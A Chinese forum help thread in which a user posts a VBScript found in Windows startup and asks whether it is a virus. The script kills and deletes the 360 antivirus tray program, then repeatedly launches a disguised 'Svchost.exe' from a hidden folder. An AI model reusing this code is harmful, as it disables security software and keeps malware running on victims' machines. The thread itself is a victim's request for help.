1   1  /  1  页   跳转

spoolsv.vbs求助

spoolsv.vbs求助

今天在启动项里发现了个东西 spoolsv.vbs
找到文件用记事本打开有如下代码:
dim sss
set sss=wscript.createobject("wscript.shell")
sss.run "cmd /c taskkill /im 360tray.exe /f",0
wscript.sleep 6000
on error resume next
Dim fso,obj
set fso=createobject("scripting.filesystemobject")
fso.deleteFile "C:\Program Files\360safe\safemon\360tray.exe"
Dim Wsh
Set Wsh = Wscript.CreateObject("Wscript.Shell")
Wscript.Sleep ("1000")
do
If Time > TimeValue ("00:10") And Time < TimeValue ("00:15") Then
Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe")
End If
If Time > TimeValue ("01:10") And Time < TimeValue ("01:15") Then
Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe")
End If
If Time > TimeValue ("02:10") And Time < TimeValue ("02:15") Then
Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe")
End If
If Time > TimeValue ("03:10") And Time < TimeValue ("03:15") Then
Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe")
End If
If Time > TimeValue ("04:10") And Time < TimeValue ("04:15") Then
Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe")
End If
If Time > TimeValue ("05:10") And Time < TimeValue ("05:15") Then
Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe")
End If
If Time > TimeValue ("06:10") And Time < TimeValue ("06:15") Then
Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe")
End If
If Time > TimeValue ("07:10") And Time < TimeValue ("07:15") Then
Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe")
End If
If Time > TimeValue ("08:10") And Time < TimeValue ("08:15") Then
Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe")
End If
If Time > TimeValue ("09:10") And Time < TimeValue ("09:15") Then
Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe")
End If
If Time > TimeValue ("10:10") And Time < TimeValue ("10:15") Then
Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe")
End If
If Time > TimeValue ("11:10") And Time < TimeValue ("11:15") Then
Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe")
End If
If Time > TimeValue ("12:10") And Time < TimeValue ("12:15") Then
Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe")
End If
If Time > TimeValue ("13:10") And Time < TimeValue ("13:15") Then
Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe")
End If
If Time > TimeValue ("14:10") And Time < TimeValue ("14:15") Then
Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe")
End If
If Time > TimeValue ("15:10") And Time < TimeValue ("15:15") Then
Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe")
End If
If Time > TimeValue ("16:10") And Time < TimeValue ("16:15") Then
Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe")
End If
If Time > TimeValue ("17:10") And Time < TimeValue ("17:15") Then
Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe")
End If
If Time > TimeValue ("18:10") And Time < TimeValue ("18:15") Then
Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe")
End If
If Time > TimeValue ("19:10") And Time < TimeValue ("19:15") Then
Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe")
End If
If Time > TimeValue ("20:10") And Time < TimeValue ("20:15") Then
Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe")
End If
If Time > TimeValue ("21:10") And Time < TimeValue ("21:20") Then
Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe")
End If
If Time > TimeValue ("22:25") And Time < TimeValue ("22:45") Then
Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe")
End If
If Time > TimeValue ("23:10") And Time < TimeValue ("23:15") Then
Wsh.Run ("C:\WINDOWS\dirra\Svchost.exe")
End If
wscript.sleep 180000
loop



这是什么东西?是病毒?还是?

用户系统信息:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
分享到:
gototop
 

回复:spoolsv.vbs求助

看不明白。。。
觉得我回答的好,就给我评分吧!
gototop
 

回复:spoolsv.vbs求助

应该是病毒。
gototop
 

回复:spoolsv.vbs求助

就是在开始菜单的启动里多了个启动spoolsv.vbs。找到这个文件后发现能用记事本打开,里面的代码就是这个,在C:\WINDOWS\下发现了个文件夹dirra ,里面有个文件Svchost.exe,样子是记事本,但后缀是.exe,我把他删了
gototop
 

回复:spoolsv.vbs求助

该用户帖子内容已被屏蔽
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT